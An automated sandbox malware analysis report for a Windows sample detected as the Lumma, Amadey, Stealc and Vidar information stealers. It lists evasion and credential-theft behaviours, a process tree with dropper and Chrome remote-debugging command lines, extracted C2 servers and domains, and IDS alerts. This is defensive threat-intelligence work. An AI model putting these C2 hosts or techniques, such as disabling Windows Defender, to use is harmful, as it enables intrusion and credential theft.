Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554077
MD5:	0eb9375b1842c87fd94163a21cb3c0b9
SHA1:	f373c2a31b762c5f52f704f19c3b9c5a51bd8a37
SHA256:	7d2de697b55472a9486d9a4850691cf9caad0b63adfc98d7f507ee35598f53bc
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7304 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0EB9375B1842C87FD94163A21CB3C0B9)

chrome.exe (PID: 7528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7748 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2036,i,16395452361814298207,10428088418057651845,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 4324 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFCFIJEBFCG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFCFIJEBFCG.exe (PID: 7588 cmdline: "C:\Users\user\DocumentsFCFIJEBFCG.exe" MD5: 1F3B7E421D9DA42574A703164BC38191)

skotes.exe (PID: 8000 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1F3B7E421D9DA42574A703164BC38191)

d1e0007322.exe (PID: 7968 cmdline: "C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe" MD5: D8B8019D8D8E9A3B35E59810C6C9582B)

4172e6dca8.exe (PID: 5232 cmdline: "C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe" MD5: 0EB9375B1842C87FD94163A21CB3C0B9)

skotes.exe (PID: 1620 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1F3B7E421D9DA42574A703164BC38191)

081eb93126.exe (PID: 7564 cmdline: "C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe" MD5: 63FDBE40E34853F023CC8F6EF32D2FC2)

skotes.exe (PID: 7832 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F3B7E421D9DA42574A703164BC38191)

d1e0007322.exe (PID: 3616 cmdline: "C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe" MD5: D8B8019D8D8E9A3B35E59810C6C9582B)

4172e6dca8.exe (PID: 7320 cmdline: "C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe" MD5: 0EB9375B1842C87FD94163A21CB3C0B9)

081eb93126.exe (PID: 4828 cmdline: "C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe" MD5: 63FDBE40E34853F023CC8F6EF32D2FC2)

d1e0007322.exe (PID: 8020 cmdline: "C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe" MD5: D8B8019D8D8E9A3B35E59810C6C9582B)

4172e6dca8.exe (PID: 2448 cmdline: "C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe" MD5: 0EB9375B1842C87FD94163A21CB3C0B9)

081eb93126.exe (PID: 5964 cmdline: "C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe" MD5: 63FDBE40E34853F023CC8F6EF32D2FC2)

skotes.exe (PID: 6412 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F3B7E421D9DA42574A703164BC38191)

skotes.exe (PID: 5428 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F3B7E421D9DA42574A703164BC38191)

skotes.exe (PID: 7308 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F3B7E421D9DA42574A703164BC38191)

skotes.exe (PID: 6616 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F3B7E421D9DA42574A703164BC38191)

skotes.exe (PID: 3512 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F3B7E421D9DA42574A703164BC38191)

skotes.exe (PID: 2332 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F3B7E421D9DA42574A703164BC38191)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "necklacedmny.store", "scriptyprefej.store", "crisiwarny.store", "founpiuer.store", "fadehairucw.store", "presticitpo.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.2341575409.0000000000F01000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2341019305.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2790110258.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2768205750.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.4123331034.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2695121940.0000000005690000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2702112957.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2749628393.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2703641474.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2927567295.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2131892862.0000000000CD1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000003.2789248939.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2491740211.0000000000F01000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2735614002.0000000000F01000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2746214238.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2448884433.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2704648103.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.3523371917.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1672323842.00000000053F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.4724390923.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.5925030724.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2300326058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.5322756464.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2075096888.0000000000D91000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.2320408364.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2075634451.000000000191E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2747654498.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2490263073.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 4172e6dca8.exe PID: 5232	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4172e6dca8.exe PID: 5232	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 4172e6dca8.exe PID: 7320	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4172e6dca8.exe PID: 7320	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d1e0007322.exe PID: 8020	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d1e0007322.exe PID: 8020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d1e0007322.exe PID: 8020	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 4172e6dca8.exe PID: 2448	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4172e6dca8.exe PID: 2448	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.DocumentsFCFIJEBFCG.exe.cd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8000, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d1e0007322.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7304, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7528, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8000, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d1e0007322.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:20.602627+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.4	49756	TCP
2024-11-12T02:13:59.391891+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.4	49768	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:14:00.112580+0100	2028371	3	Unknown Traffic	192.168.2.4	49769	23.197.127.21	443	TCP
2024-11-12T02:14:01.654785+0100	2028371	3	Unknown Traffic	192.168.2.4	49778	188.114.97.3	443	TCP
2024-11-12T02:14:12.410341+0100	2028371	3	Unknown Traffic	192.168.2.4	49835	23.197.127.21	443	TCP
2024-11-12T02:14:13.785709+0100	2028371	3	Unknown Traffic	192.168.2.4	49845	188.114.97.3	443	TCP
2024-11-12T02:14:14.100491+0100	2028371	3	Unknown Traffic	192.168.2.4	49847	188.114.97.3	443	TCP
2024-11-12T02:14:37.360268+0100	2028371	3	Unknown Traffic	192.168.2.4	49976	23.197.127.21	443	TCP
2024-11-12T02:14:38.702477+0100	2028371	3	Unknown Traffic	192.168.2.4	49983	188.114.97.3	443	TCP
2024-11-12T02:14:41.765012+0100	2028371	3	Unknown Traffic	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-12T02:14:45.611046+0100	2028371	3	Unknown Traffic	192.168.2.4	50023	188.114.97.3	443	TCP
2024-11-12T02:14:50.191977+0100	2028371	3	Unknown Traffic	192.168.2.4	50052	188.114.97.3	443	TCP
2024-11-12T02:14:52.349828+0100	2028371	3	Unknown Traffic	192.168.2.4	50064	188.114.97.3	443	TCP
2024-11-12T02:14:54.872183+0100	2028371	3	Unknown Traffic	192.168.2.4	50070	188.114.97.3	443	TCP
2024-11-12T02:14:56.996791+0100	2028371	3	Unknown Traffic	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-12T02:15:36.967614+0100	2028371	3	Unknown Traffic	192.168.2.4	50089	188.114.97.3	443	TCP
2024-11-12T02:17:54.650909+0100	2028371	3	Unknown Traffic	192.168.2.4	50145	20.189.173.10	443	TCP

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:14:28.891429+0100	2044623	1	A Network Trojan was detected	192.168.2.4	49928	185.215.113.43	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:14:13.443216+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49778	188.114.97.3	443	TCP
2024-11-12T02:14:38.980077+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49847	188.114.97.3	443	TCP
2024-11-12T02:14:41.022906+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49983	188.114.97.3	443	TCP
2024-11-12T02:14:43.315187+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49845	188.114.97.3	443	TCP
2024-11-12T02:14:44.329236+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-12T02:15:40.235046+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50089	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:14:13.443216+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49778	188.114.97.3	443	TCP
2024-11-12T02:14:41.022906+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49983	188.114.97.3	443	TCP
2024-11-12T02:14:43.315187+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49845	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:14:38.980077+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49847	188.114.97.3	443	TCP
2024-11-12T02:14:44.329236+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50001	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:14:00.640670+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49771	185.215.113.43	80	TCP
2024-11-12T02:14:06.544138+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49800	185.215.113.43	80	TCP
2024-11-12T02:14:10.613006+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49823	185.215.113.43	80	TCP
2024-11-12T02:14:17.697577+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49864	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:59.013037+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	50943	1.1.1.1	53	UDP
2024-11-12T02:14:11.367670+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	64789	1.1.1.1	53	UDP
2024-11-12T02:14:36.290115+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	64786	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:59.039550+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	57024	1.1.1.1	53	UDP
2024-11-12T02:14:11.376719+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	60936	1.1.1.1	53	UDP
2024-11-12T02:14:36.317031+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	56494	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:59.130153+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	49435	1.1.1.1	53	UDP
2024-11-12T02:14:11.457383+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	57732	1.1.1.1	53	UDP
2024-11-12T02:14:36.399126+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	56391	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:59.156459+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.4	58493	1.1.1.1	53	UDP
2024-11-12T02:14:11.485346+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.4	58400	1.1.1.1	53	UDP
2024-11-12T02:14:36.435089+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.4	60837	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:59.103735+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	50079	1.1.1.1	53	UDP
2024-11-12T02:14:11.430070+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	61205	1.1.1.1	53	UDP
2024-11-12T02:14:36.370596+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	60769	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:58.983544+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	60377	1.1.1.1	53	UDP
2024-11-12T02:14:11.338012+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	63110	1.1.1.1	53	UDP
2024-11-12T02:14:36.258569+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	52154	1.1.1.1	53	UDP

